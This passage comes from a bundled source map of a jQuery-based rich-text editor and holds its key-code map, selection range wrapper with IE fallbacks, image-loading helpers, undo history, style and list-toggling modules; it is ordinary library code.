54,\n 'NUM7': 55,\n 'NUM8': 56,\n\n // Alphabet: a-z\n 'B': 66,\n 'E': 69,\n 'I': 73,\n 'J': 74,\n 'K': 75,\n 'L': 76,\n 'R': 82,\n 'S': 83,\n 'U': 85,\n 'V': 86,\n 'Y': 89,\n 'Z': 90,\n\n 'SLASH': 191,\n 'LEFTBRACKET': 219,\n 'BACKSLASH': 220,\n 'RIGHTBRACKET': 221\n};\n\n/**\n * @class core.key\n *\n * Object for keycodes.\n *\n * @singleton\n * @alternateClassName key\n */\nexport default {\n /**\n * @method isEdit\n *\n * @param {Number} keyCode\n * @return {Boolean}\n */\n isEdit: (keyCode) => {\n return lists.contains([\n KEY_MAP.BACKSPACE,\n KEY_MAP.TAB,\n KEY_MAP.ENTER,\n KEY_MAP.SPACE,\n KEY_MAP.DELETE\n ], keyCode);\n },\n /**\n * @method isMove\n *\n * @param {Number} keyCode\n * @return {Boolean}\n */\n isMove: (keyCode) => {\n return lists.contains([\n KEY_MAP.LEFT,\n KEY_MAP.UP,\n KEY_MAP.RIGHT,\n KEY_MAP.DOWN\n ], keyCode);\n },\n /**\n * @property {Object} nameFromCode\n * @property {String} nameFromCode.8 \"BACKSPACE\"\n */\n nameFromCode: func.invertObject(KEY_MAP),\n code: KEY_MAP\n};\n","import $ from 'jquery';\nimport env from './env';\nimport func from './func';\nimport lists from './lists';\nimport dom from './dom';\n\n/**\n * return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js\n *\n * @param {TextRange} textRange\n * @param {Boolean} isStart\n * @return {BoundaryPoint}\n *\n * @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx\n */\nfunction textRangeToPoint(textRange, isStart) {\n let container = textRange.parentElement();\n let offset;\n\n const tester = document.body.createTextRange();\n let prevContainer;\n const childNodes = lists.from(container.childNodes);\n for (offset = 0; offset < childNodes.length; offset++) {\n if (dom.isText(childNodes[offset])) {\n continue;\n }\n tester.moveToElementText(childNodes[offset]);\n if (tester.compareEndPoints('StartToStart', textRange) >= 0) {\n break;\n }\n prevContainer = childNodes[offset];\n }\n\n if (offset !== 0 && dom.isText(childNodes[offset - 1])) {\n const textRangeStart = document.body.createTextRange();\n let curTextNode = null;\n textRangeStart.moveToElementText(prevContainer || container);\n textRangeStart.collapse(!prevContainer);\n curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild;\n\n const pointTester = textRange.duplicate();\n pointTester.setEndPoint('StartToStart', textRangeStart);\n let textCount = pointTester.text.replace(/[\\r\\n]/g, '').length;\n\n while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) {\n textCount -= curTextNode.nodeValue.length;\n curTextNode = curTextNode.nextSibling;\n }\n\n // [workaround] enforce IE to re-reference curTextNode, hack\n const dummy = curTextNode.nodeValue; // eslint-disable-line\n\n if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) &&\n textCount === curTextNode.nodeValue.length) {\n textCount -= curTextNode.nodeValue.length;\n curTextNode = curTextNode.nextSibling;\n }\n\n container = curTextNode;\n offset = textCount;\n }\n\n return {\n cont: container,\n offset: offset\n };\n}\n\n/**\n * return TextRange from boundary point (inspired by google closure-library)\n * @param {BoundaryPoint} point\n * @return {TextRange}\n */\nfunction pointToTextRange(point) {\n const textRangeInfo = function(container, offset) {\n let node, isCollapseToStart;\n\n if (dom.isText(container)) {\n const prevTextNodes = dom.listPrev(container, func.not(dom.isText));\n const prevContainer = lists.last(prevTextNodes).previousSibling;\n node = prevContainer || container.parentNode;\n offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength);\n isCollapseToStart = !prevContainer;\n } else {\n node = container.childNodes[offset] || container;\n if (dom.isText(node)) {\n return textRangeInfo(node, 0);\n }\n\n offset = 0;\n isCollapseToStart = false;\n }\n\n return {\n node: node,\n collapseToStart: isCollapseToStart,\n offset: offset\n };\n };\n\n const textRange = document.body.createTextRange();\n const info = textRangeInfo(point.node, point.offset);\n\n textRange.moveToElementText(info.node);\n textRange.collapse(info.collapseToStart);\n textRange.moveStart('character', info.offset);\n return textRange;\n}\n\n/**\n * Wrapped Range\n *\n * @constructor\n * @param {Node} sc - start container\n * @param {Number} so - start offset\n * @param {Node} ec - end container\n * @param {Number} eo - end offset\n */\nclass WrappedRange {\n constructor(sc, so, ec, eo) {\n this.sc = sc;\n this.so = so;\n this.ec = ec;\n this.eo = eo;\n\n // isOnEditable: judge whether range is on editable or not\n this.isOnEditable = this.makeIsOn(dom.isEditable);\n // isOnList: judge whether range is on list node or not\n this.isOnList = this.makeIsOn(dom.isList);\n // isOnAnchor: judge whether range is on anchor node or not\n this.isOnAnchor = this.makeIsOn(dom.isAnchor);\n // isOnCell: judge whether range is on cell node or not\n this.isOnCell = this.makeIsOn(dom.isCell);\n // isOnData: judge whether range is on data node or not\n this.isOnData = this.makeIsOn(dom.isData);\n }\n\n // nativeRange: get nativeRange from sc, so, ec, eo\n nativeRange() {\n if (env.isW3CRangeSupport) {\n const w3cRange = document.createRange();\n w3cRange.setStart(this.sc, this.so);\n w3cRange.setEnd(this.ec, this.eo);\n\n return w3cRange;\n } else {\n const textRange = pointToTextRange({\n node: this.sc,\n offset: this.so\n });\n\n textRange.setEndPoint('EndToEnd', pointToTextRange({\n node: this.ec,\n offset: this.eo\n }));\n\n return textRange;\n }\n }\n\n getPoints() {\n return {\n sc: this.sc,\n so: this.so,\n ec: this.ec,\n eo: this.eo\n };\n }\n\n getStartPoint() {\n return {\n node: this.sc,\n offset: this.so\n };\n }\n\n getEndPoint() {\n return {\n node: this.ec,\n offset: this.eo\n };\n }\n\n /**\n * select update visible range\n */\n select() {\n const nativeRng = this.nativeRange();\n if (env.isW3CRangeSupport) {\n const selection = document.getSelection();\n if (selection.rangeCount > 0) {\n selection.removeAllRanges();\n }\n selection.addRange(nativeRng);\n } else {\n nativeRng.select();\n }\n\n return this;\n }\n\n /**\n * Moves the scrollbar to start container(sc) of current range\n *\n * @return {WrappedRange}\n */\n scrollIntoView(container) {\n const height = $(container).height();\n if (container.scrollTop + height < this.sc.offsetTop) {\n container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop);\n }\n\n return this;\n }\n\n /**\n * @return {WrappedRange}\n */\n normalize() {\n /**\n * @param {BoundaryPoint} point\n * @param {Boolean} isLeftToRight\n * @return {BoundaryPoint}\n */\n const getVisiblePoint = function(point, isLeftToRight) {\n if ((dom.isVisiblePoint(point) && !dom.isEdgePoint(point)) ||\n (dom.isVisiblePoint(point) && dom.isRightEdgePoint(point) && !isLeftToRight) ||\n (dom.isVisiblePoint(point) && dom.isLeftEdgePoint(point) && isLeftToRight) ||\n (dom.isVisiblePoint(point) && dom.isBlock(point.node) && dom.isEmpty(point.node))) {\n return point;\n }\n\n // point on block's edge\n const block = dom.ancestor(point.node, dom.isBlock);\n if (((dom.isLeftEdgePointOf(point, block) || dom.isVoid(dom.prevPoint(point).node)) && !isLeftToRight) ||\n ((dom.isRightEdgePointOf(point, block) || dom.isVoid(dom.nextPoint(point).node)) && isLeftToRight)) {\n // returns point already on visible point\n if (dom.isVisiblePoint(point)) {\n return point;\n }\n // reverse direction\n isLeftToRight = !isLeftToRight;\n }\n\n const nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint)\n : dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint);\n return nextPoint || point;\n };\n\n const endPoint = getVisiblePoint(this.getEndPoint(), false);\n const startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true);\n\n return new WrappedRange(\n startPoint.node,\n startPoint.offset,\n endPoint.node,\n endPoint.offset\n );\n }\n\n /**\n * returns matched nodes on range\n *\n * @param {Function} [pred] - predicate function\n * @param {Object} [options]\n * @param {Boolean} [options.includeAncestor]\n * @param {Boolean} [options.fullyContains]\n * @return {Node[]}\n */\n nodes(pred, options) {\n pred = pred || func.ok;\n\n const includeAncestor = options && options.includeAncestor;\n const fullyContains = options && options.fullyContains;\n\n // TODO compare points and sort\n const startPoint = this.getStartPoint();\n const endPoint = this.getEndPoint();\n\n const nodes = [];\n const leftEdgeNodes = [];\n\n dom.walkPoint(startPoint, endPoint, function(point) {\n if (dom.isEditable(point.node)) {\n return;\n }\n\n let node;\n if (fullyContains) {\n if (dom.isLeftEdgePoint(point)) {\n leftEdgeNodes.push(point.node);\n }\n if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) {\n node = point.node;\n }\n } else if (includeAncestor) {\n node = dom.ancestor(point.node, pred);\n } else {\n node = point.node;\n }\n\n if (node && pred(node)) {\n nodes.push(node);\n }\n }, true);\n\n return lists.unique(nodes);\n }\n\n /**\n * returns commonAncestor of range\n * @return {Element} - commonAncestor\n */\n commonAncestor() {\n return dom.commonAncestor(this.sc, this.ec);\n }\n\n /**\n * returns expanded range by pred\n *\n * @param {Function} pred - predicate function\n * @return {WrappedRange}\n */\n expand(pred) {\n const startAncestor = dom.ancestor(this.sc, pred);\n const endAncestor = dom.ancestor(this.ec, pred);\n\n if (!startAncestor && !endAncestor) {\n return new WrappedRange(this.sc, this.so, this.ec, this.eo);\n }\n\n const boundaryPoints = this.getPoints();\n\n if (startAncestor) {\n boundaryPoints.sc = startAncestor;\n boundaryPoints.so = 0;\n }\n\n if (endAncestor) {\n boundaryPoints.ec = endAncestor;\n boundaryPoints.eo = dom.nodeLength(endAncestor);\n }\n\n return new WrappedRange(\n boundaryPoints.sc,\n boundaryPoints.so,\n boundaryPoints.ec,\n boundaryPoints.eo\n );\n }\n\n /**\n * @param {Boolean} isCollapseToStart\n * @return {WrappedRange}\n */\n collapse(isCollapseToStart) {\n if (isCollapseToStart) {\n return new WrappedRange(this.sc, this.so, this.sc, this.so);\n } else {\n return new WrappedRange(this.ec, this.eo, this.ec, this.eo);\n }\n }\n\n /**\n * splitText on range\n */\n splitText() {\n const isSameContainer = this.sc === this.ec;\n const boundaryPoints = this.getPoints();\n\n if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) {\n this.ec.splitText(this.eo);\n }\n\n if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) {\n boundaryPoints.sc = this.sc.splitText(this.so);\n boundaryPoints.so = 0;\n\n if (isSameContainer) {\n boundaryPoints.ec = boundaryPoints.sc;\n boundaryPoints.eo = this.eo - this.so;\n }\n }\n\n return new WrappedRange(\n boundaryPoints.sc,\n boundaryPoints.so,\n boundaryPoints.ec,\n boundaryPoints.eo\n );\n }\n\n /**\n * delete contents on range\n * @return {WrappedRange}\n */\n deleteContents() {\n if (this.isCollapsed()) {\n return this;\n }\n\n const rng = this.splitText();\n const nodes = rng.nodes(null, {\n fullyContains: true\n });\n\n // find new cursor point\n const point = dom.prevPointUntil(rng.getStartPoint(), function(point) {\n return !lists.contains(nodes, point.node);\n });\n\n const emptyParents = [];\n $.each(nodes, function(idx, node) {\n // find empty parents\n const parent = node.parentNode;\n if (point.node !== parent && dom.nodeLength(parent) === 1) {\n emptyParents.push(parent);\n }\n dom.remove(node, false);\n });\n\n // remove empty parents\n $.each(emptyParents, function(idx, node) {\n dom.remove(node, false);\n });\n\n return new WrappedRange(\n point.node,\n point.offset,\n point.node,\n point.offset\n ).normalize();\n }\n\n /**\n * makeIsOn: return isOn(pred) function\n */\n makeIsOn(pred) {\n return function() {\n const ancestor = dom.ancestor(this.sc, pred);\n return !!ancestor && (ancestor === dom.ancestor(this.ec, pred));\n };\n }\n\n /**\n * @param {Function} pred\n * @return {Boolean}\n */\n isLeftEdgeOf(pred) {\n if (!dom.isLeftEdgePoint(this.getStartPoint())) {\n return false;\n }\n\n const node = dom.ancestor(this.sc, pred);\n return node && dom.isLeftEdgeOf(this.sc, node);\n }\n\n /**\n * returns whether range was collapsed or not\n */\n isCollapsed() {\n return this.sc === this.ec && this.so === this.eo;\n }\n\n /**\n * wrap inline nodes which children of body with paragraph\n *\n * @return {WrappedRange}\n */\n wrapBodyInlineWithPara() {\n if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) {\n this.sc.innerHTML = dom.emptyPara;\n return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0);\n }\n\n /**\n * [workaround] firefox often create range on not visible point. so normalize here.\n * - firefox: |<p>text</p>|\n * - chrome: <p>|text|</p>\n */\n const rng = this.normalize();\n if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) {\n return rng;\n }\n\n // find inline top ancestor\n let topAncestor;\n if (dom.isInline(rng.sc)) {\n const ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline));\n topAncestor = lists.last(ancestors);\n if (!dom.isInline(topAncestor)) {\n topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so];\n }\n } else {\n topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0];\n }\n\n // siblings not in paragraph\n let inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse();\n inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline));\n\n // wrap with paragraph\n if (inlineSiblings.length) {\n const para = dom.wrap(lists.head(inlineSiblings), 'p');\n dom.appendChildNodes(para, lists.tail(inlineSiblings));\n }\n\n return this.normalize();\n }\n\n /**\n * insert node at current cursor\n *\n * @param {Node} node\n * @return {Node}\n */\n insertNode(node) {\n const rng = this.wrapBodyInlineWithPara().deleteContents();\n const info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node));\n\n if (info.rightNode) {\n info.rightNode.parentNode.insertBefore(node, info.rightNode);\n } else {\n info.container.appendChild(node);\n }\n\n return node;\n }\n\n /**\n * insert html at current cursor\n */\n pasteHTML(markup) {\n const contentsContainer = $('<div></div>').html(markup)[0];\n const childNodes = lists.from(contentsContainer.childNodes);\n\n const rng = this.wrapBodyInlineWithPara().deleteContents();\n\n return childNodes.reverse().map(function(childNode) {\n return rng.insertNode(childNode);\n }).reverse();\n }\n\n /**\n * returns text in range\n *\n * @return {String}\n */\n toString() {\n const nativeRng = this.nativeRange();\n return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text;\n }\n\n /**\n * returns range for word before cursor\n *\n * @param {Boolean} [findAfter] - find after cursor, default: false\n * @return {WrappedRange}\n */\n getWordRange(findAfter) {\n let endPoint = this.getEndPoint();\n\n if (!dom.isCharPoint(endPoint)) {\n return this;\n }\n\n const startPoint = dom.prevPointUntil(endPoint, function(point) {\n return !dom.isCharPoint(point);\n });\n\n if (findAfter) {\n endPoint = dom.nextPointUntil(endPoint, function(point) {\n return !dom.isCharPoint(point);\n });\n }\n\n return new WrappedRange(\n startPoint.node,\n startPoint.offset,\n endPoint.node,\n endPoint.offset\n );\n }\n\n /**\n * create offsetPath bookmark\n *\n * @param {Node} editable\n */\n bookmark(editable) {\n return {\n s: {\n path: dom.makeOffsetPath(editable, this.sc),\n offset: this.so\n },\n e: {\n path: dom.makeOffsetPath(editable, this.ec),\n offset: this.eo\n }\n };\n }\n\n /**\n * create offsetPath bookmark base on paragraph\n *\n * @param {Node[]} paras\n */\n paraBookmark(paras) {\n return {\n s: {\n path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)),\n offset: this.so\n },\n e: {\n path: lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)),\n offset: this.eo\n }\n };\n }\n\n /**\n * getClientRects\n * @return {Rect[]}\n */\n getClientRects() {\n const nativeRng = this.nativeRange();\n return nativeRng.getClientRects();\n }\n}\n\n/**\n * Data structure\n * * BoundaryPoint: a point of dom tree\n * * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range\n *\n * See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position\n */\nexport default {\n /**\n * create Range Object From arguments or Browser Selection\n *\n * @param {Node} sc - start container\n * @param {Number} so - start offset\n * @param {Node} ec - end container\n * @param {Number} eo - end offset\n * @return {WrappedRange}\n */\n create: function(sc, so, ec, eo) {\n if (arguments.length === 4) {\n return new WrappedRange(sc, so, ec, eo);\n } else if (arguments.length === 2) { // collapsed\n ec = sc;\n eo = so;\n return new WrappedRange(sc, so, ec, eo);\n } else {\n let wrappedRange = this.createFromSelection();\n if (!wrappedRange && arguments.length === 1) {\n wrappedRange = this.createFromNode(arguments[0]);\n return wrappedRange.collapse(dom.emptyPara === arguments[0].innerHTML);\n }\n return wrappedRange;\n }\n },\n\n createFromSelection: function() {\n let sc, so, ec, eo;\n if (env.isW3CRangeSupport) {\n const selection = document.getSelection();\n if (!selection || selection.rangeCount === 0) {\n return null;\n } else if (dom.isBody(selection.anchorNode)) {\n // Firefox: returns entire body as range on initialization.\n // We won't never need it.\n return null;\n }\n\n const nativeRng = selection.getRangeAt(0);\n sc = nativeRng.startContainer;\n so = nativeRng.startOffset;\n ec = nativeRng.endContainer;\n eo = nativeRng.endOffset;\n } else { // IE8: TextRange\n const textRange = document.selection.createRange();\n const textRangeEnd = textRange.duplicate();\n textRangeEnd.collapse(false);\n const textRangeStart = textRange;\n textRangeStart.collapse(true);\n\n let startPoint = textRangeToPoint(textRangeStart, true);\n let endPoint = textRangeToPoint(textRangeEnd, false);\n\n // same visible point case: range was collapsed.\n if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) &&\n dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) &&\n endPoint.node.nextSibling === startPoint.node) {\n startPoint = endPoint;\n }\n\n sc = startPoint.cont;\n so = startPoint.offset;\n ec = endPoint.cont;\n eo = endPoint.offset;\n }\n\n return new WrappedRange(sc, so, ec, eo);\n },\n\n /**\n * @method\n *\n * create WrappedRange from node\n *\n * @param {Node} node\n * @return {WrappedRange}\n */\n createFromNode: function(node) {\n let sc = node;\n let so = 0;\n let ec = node;\n let eo = dom.nodeLength(ec);\n\n // browsers can't target a picture or void node\n if (dom.isVoid(sc)) {\n so = dom.listPrev(sc).length - 1;\n sc = sc.parentNode;\n }\n if (dom.isBR(ec)) {\n eo = dom.listPrev(ec).length - 1;\n ec = ec.parentNode;\n } else if (dom.isVoid(ec)) {\n eo = dom.listPrev(ec).length;\n ec = ec.parentNode;\n }\n\n return this.create(sc, so, ec, eo);\n },\n\n /**\n * create WrappedRange from node after position\n *\n * @param {Node} node\n * @return {WrappedRange}\n */\n createFromNodeBefore: function(node) {\n return this.createFromNode(node).collapse(true);\n },\n\n /**\n * create WrappedRange from node after position\n *\n * @param {Node} node\n * @return {WrappedRange}\n */\n createFromNodeAfter: function(node) {\n return this.createFromNode(node).collapse();\n },\n\n /**\n * @method\n *\n * create WrappedRange from bookmark\n *\n * @param {Node} editable\n * @param {Object} bookmark\n * @return {WrappedRange}\n */\n createFromBookmark: function(editable, bookmark) {\n const sc = dom.fromOffsetPath(editable, bookmark.s.path);\n const so = bookmark.s.offset;\n const ec = dom.fromOffsetPath(editable, bookmark.e.path);\n const eo = bookmark.e.offset;\n return new WrappedRange(sc, so, ec, eo);\n },\n\n /**\n * @method\n *\n * create WrappedRange from paraBookmark\n *\n * @param {Object} bookmark\n * @param {Node[]} paras\n * @return {WrappedRange}\n */\n createFromParaBookmark: function(bookmark, paras) {\n const so = bookmark.s.offset;\n const eo = bookmark.e.offset;\n const sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path);\n const ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path);\n\n return new WrappedRange(sc, so, ec, eo);\n }\n};\n","import $ from 'jquery';\n\n/**\n * @method readFileAsDataURL\n *\n * read contents of file as representing URL\n *\n * @param {File} file\n * @return {Promise} - then: dataUrl\n */\nexport function readFileAsDataURL(file) {\n return $.Deferred((deferred) => {\n $.extend(new FileReader(), {\n onload: (e) => {\n const dataURL = e.target.result;\n deferred.resolve(dataURL);\n },\n onerror: (err) => {\n deferred.reject(err);\n }\n }).readAsDataURL(file);\n }).promise();\n}\n\n/**\n * @method createImage\n *\n * create `<image>` from url string\n *\n * @param {String} url\n * @return {Promise} - then: $image\n */\nexport function createImage(url) {\n return $.Deferred((deferred) => {\n const $img = $('<img>');\n\n $img.one('load', () => {\n $img.off('error abort');\n deferred.resolve($img);\n }).one('error abort', () => {\n $img.off('load').detach();\n deferred.reject($img);\n }).css({\n display: 'none'\n }).appendTo(document.body).attr('src', url);\n }).promise();\n}\n","import range from '../core/range';\n\nexport default class History {\n constructor($editable) {\n this.stack = [];\n this.stackOffset = -1;\n this.$editable = $editable;\n this.editable = $editable[0];\n }\n\n makeSnapshot() {\n const rng = range.create(this.editable);\n const emptyBookmark = {s: {path: [], offset: 0}, e: {path: [], offset: 0}};\n\n return {\n contents: this.$editable.html(),\n bookmark: (rng ? rng.bookmark(this.editable) : emptyBookmark)\n };\n }\n\n applySnapshot(snapshot) {\n if (snapshot.contents !== null) {\n this.$editable.html(snapshot.contents);\n }\n if (snapshot.bookmark !== null) {\n range.createFromBookmark(this.editable, snapshot.bookmark).select();\n }\n }\n\n /**\n * @method rewind\n * Rewinds the history stack back to the first snapshot taken.\n * Leaves the stack intact, so that \"Redo\" can still be used.\n */\n rewind() {\n // Create snap shot if not yet recorded\n if (this.$editable.html() !== this.stack[this.stackOffset].contents) {\n this.recordUndo();\n }\n\n // Return to the first available snapshot.\n this.stackOffset = 0;\n\n // Apply that snapshot.\n this.applySnapshot(this.stack[this.stackOffset]);\n }\n\n /**\n * @method reset\n * Resets the history stack completely; reverting to an empty editor.\n */\n reset() {\n // Clear the stack.\n this.stack = [];\n\n // Restore stackOffset to its original value.\n this.stackOffset = -1;\n\n // Clear the editable area.\n this.$editable.html('');\n\n // Record our first snapshot (of nothing).\n this.recordUndo();\n }\n\n /**\n * undo\n */\n undo() {\n // Create snap shot if not yet recorded\n if (this.$editable.html() !== this.stack[this.stackOffset].contents) {\n this.recordUndo();\n }\n\n if (this.stackOffset > 0) {\n this.stackOffset--;\n this.applySnapshot(this.stack[this.stackOffset]);\n }\n }\n\n /**\n * redo\n */\n redo() {\n if (this.stack.length - 1 > this.stackOffset) {\n this.stackOffset++;\n this.applySnapshot(this.stack[this.stackOffset]);\n }\n }\n\n /**\n * recorded undo\n */\n recordUndo() {\n this.stackOffset++;\n\n // Wash out stack after stackOffset\n if (this.stack.length > this.stackOffset) {\n this.stack = this.stack.slice(0, this.stackOffset);\n }\n\n // Create new snapshot and push it to the end\n this.stack.push(this.makeSnapshot());\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class Style {\n /**\n * @method jQueryCSS\n *\n * [workaround] for old jQuery\n * passing an array of style properties to .css()\n * will result in an object of property-value pairs.\n * (compability with version < 1.9)\n *\n * @private\n * @param {jQuery} $obj\n * @param {Array} propertyNames - An array of one or more CSS properties.\n * @return {Object}\n */\n jQueryCSS($obj, propertyNames) {\n if (env.jqueryVersion < 1.9) {\n const result = {};\n $.each(propertyNames, (idx, propertyName) => {\n result[propertyName] = $obj.css(propertyName);\n });\n return result;\n }\n return $obj.css(propertyNames);\n }\n\n /**\n * returns style object from node\n *\n * @param {jQuery} $node\n * @return {Object}\n */\n fromNode($node) {\n const properties = ['font-family', 'font-size', 'text-align', 'list-style-type', 'line-height'];\n const styleInfo = this.jQueryCSS($node, properties) || {};\n styleInfo['font-size'] = parseInt(styleInfo['font-size'], 10);\n return styleInfo;\n }\n\n /**\n * paragraph level style\n *\n * @param {WrappedRange} rng\n * @param {Object} styleInfo\n */\n stylePara(rng, styleInfo) {\n $.each(rng.nodes(dom.isPara, {\n includeAncestor: true\n }), (idx, para) => {\n $(para).css(styleInfo);\n });\n }\n\n /**\n * insert and returns styleNodes on range.\n *\n * @param {WrappedRange} rng\n * @param {Object} [options] - options for styleNodes\n * @param {String} [options.nodeName] - default: `SPAN`\n * @param {Boolean} [options.expandClosestSibling] - default: `false`\n * @param {Boolean} [options.onlyPartialContains] - default: `false`\n * @return {Node[]}\n */\n styleNodes(rng, options) {\n rng = rng.splitText();\n\n const nodeName = (options && options.nodeName) || 'SPAN';\n const expandClosestSibling = !!(options && options.expandClosestSibling);\n const onlyPartialContains = !!(options && options.onlyPartialContains);\n\n if (rng.isCollapsed()) {\n return [rng.insertNode(dom.create(nodeName))];\n }\n\n let pred = dom.makePredByNodeName(nodeName);\n const nodes = rng.nodes(dom.isText, {\n fullyContains: true\n }).map((text) => {\n return dom.singleChildAncestor(text, pred) || dom.wrap(text, nodeName);\n });\n\n if (expandClosestSibling) {\n if (onlyPartialContains) {\n const nodesInRange = rng.nodes();\n // compose with partial contains predication\n pred = func.and(pred, (node) => {\n return lists.contains(nodesInRange, node);\n });\n }\n\n return nodes.map((node) => {\n const siblings = dom.withClosestSiblings(node, pred);\n const head = lists.head(siblings);\n const tails = lists.tail(siblings);\n $.each(tails, (idx, elem) => {\n dom.appendChildNodes(head, elem.childNodes);\n dom.remove(elem);\n });\n return lists.head(siblings);\n });\n } else {\n return nodes;\n }\n }\n\n /**\n * get current style on cursor\n *\n * @param {WrappedRange} rng\n * @return {Object} - object contains style properties.\n */\n current(rng) {\n const $cont = $(!dom.isElement(rng.sc) ? rng.sc.parentNode : rng.sc);\n let styleInfo = this.fromNode($cont);\n\n // document.queryCommandState for toggle state\n // [workaround] prevent Firefox nsresult: \"0x80004005 (NS_ERROR_FAILURE)\"\n try {\n styleInfo = $.extend(styleInfo, {\n 'font-bold': document.queryCommandState('bold') ? 'bold' : 'normal',\n 'font-italic': document.queryCommandState('italic') ? 'italic' : 'normal',\n 'font-underline': document.queryCommandState('underline') ? 'underline' : 'normal',\n 'font-subscript': document.queryCommandState('subscript') ? 'subscript' : 'normal',\n 'font-superscript': document.queryCommandState('superscript') ? 'superscript' : 'normal',\n 'font-strikethrough': document.queryCommandState('strikethrough') ? 'strikethrough' : 'normal',\n 'font-family': document.queryCommandValue('fontname') || styleInfo['font-family']\n });\n } catch (e) {}\n\n // list-style-type to list-style(unordered, ordered)\n if (!rng.isOnList()) {\n styleInfo['list-style'] = 'none';\n } else {\n const orderedTypes = ['circle', 'disc', 'disc-leading-zero', 'square'];\n const isUnordered = $.inArray(styleInfo['list-style-type'], orderedTypes) > -1;\n styleInfo['list-style'] = isUnordered ? 'unordered' : 'ordered';\n }\n\n const para = dom.ancestor(rng.sc, dom.isPara);\n if (para && para.style['line-height']) {\n styleInfo['line-height'] = para.style.lineHeight;\n } else {\n const lineHeight = parseInt(styleInfo['line-height'], 10) / parseInt(styleInfo['font-size'], 10);\n styleInfo['line-height'] = lineHeight.toFixed(1);\n }\n\n styleInfo.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor);\n styleInfo.ancestors = dom.listAncestor(rng.sc, dom.isEditable);\n styleInfo.range = rng;\n\n return styleInfo;\n }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport func from '../core/func';\nimport dom from '../core/dom';\nimport range from '../core/range';\n\nexport default class Bullet {\n /**\n * toggle ordered list\n */\n insertOrderedList(editable) {\n this.toggleList('OL', editable);\n }\n\n /**\n * toggle unordered list\n */\n insertUnorderedList(editable) {\n this.toggleList('UL', editable);\n }\n\n /**\n * indent\n */\n indent(editable) {\n const rng = range.create(editable).wrapBodyInlineWithPara();\n\n const paras = rng.nodes(dom.isPara, { includeAncestor: true });\n const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n $.each(clustereds, (idx, paras) => {\n const head = lists.head(paras);\n if (dom.isLi(head)) {\n this.wrapList(paras, head.parentNode.nodeName);\n } else {\n $.each(paras, (idx, para) => {\n $(para).css('marginLeft', (idx, val) => {\n return (parseInt(val, 10) || 0) + 25;\n });\n });\n }\n });\n\n rng.select();\n }\n\n /**\n * outdent\n */\n outdent(editable) {\n const rng = range.create(editable).wrapBodyInlineWithPara();\n\n const paras = rng.nodes(dom.isPara, { includeAncestor: true });\n const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n $.each(clustereds, (idx, paras) => {\n const head = lists.head(paras);\n if (dom.isLi(head)) {\n this.releaseList([paras]);\n } else {\n $.each(paras, (idx, para) => {\n $(para).css('marginLeft', (idx, val) => {\n val = (parseInt(val, 10) || 0);\n return val > 25 ? val - 25 : '';\n });\n });\n }\n });\n\n rng.select();\n }\n\n /**\n * toggle list\n *\n * @param {String} listName - OL or UL\n */\n toggleList(listName, editable) {\n const rng = range.create(editable).wrapBodyInlineWithPara();\n\n let paras = rng.nodes(dom.isPara, { includeAncestor: true });\n const bookmark = rng.paraBookmark(paras);\n const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n // paragraph to list\n if (lists.find(paras, dom.isPurePara)) {\n let wrappedParas = [];\n $.each(clustereds, (idx, paras) => {\n wrappedParas = wrappedParas.concat(this.wrapList(paras, listName));\n });\n paras = wrappedParas;\n // list to paragraph or change list style\n } else {\n const diffLists = rng.nodes(dom.isList, {\n includeAncestor: true\n }).filter((listNode) => {\n return !$.nodeName(listNode, listName);\n });\n\n if (diffLists.length) {\n $.each(diffLists, (idx, listNode) => {\n dom.replace(listNode, listName);\n });\n } else {\n paras = this.releaseList(clustereds, true);\n }\n }\n\n range.createFromParaBookmark(bookmark, paras).select();\n }\n\n /**\n * @param {Node[]} paras\n * @param {String} listName\n * @return {Node[]}\n */\n wrapList(paras, listName) {\n const head = lists.head(paras);\n const last = lists.last(paras);\n\n const prevList = dom.isList(head.previousSibling) && head.previousSibling;\n const nextList = dom.isList(last.nextSibling) && last.nextSibling;\n\n const listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last);\n\n // P to LI\n paras = paras.map((para) => {\n return dom.isPurePara(para) ? dom.replace(para, 'LI') : para;\n });\n\n // append to list(<ul>, <ol>)\n dom.appendChildNodes(listNode, paras);\n\n if (nextList) {\n dom.appendChildNodes(listNode, 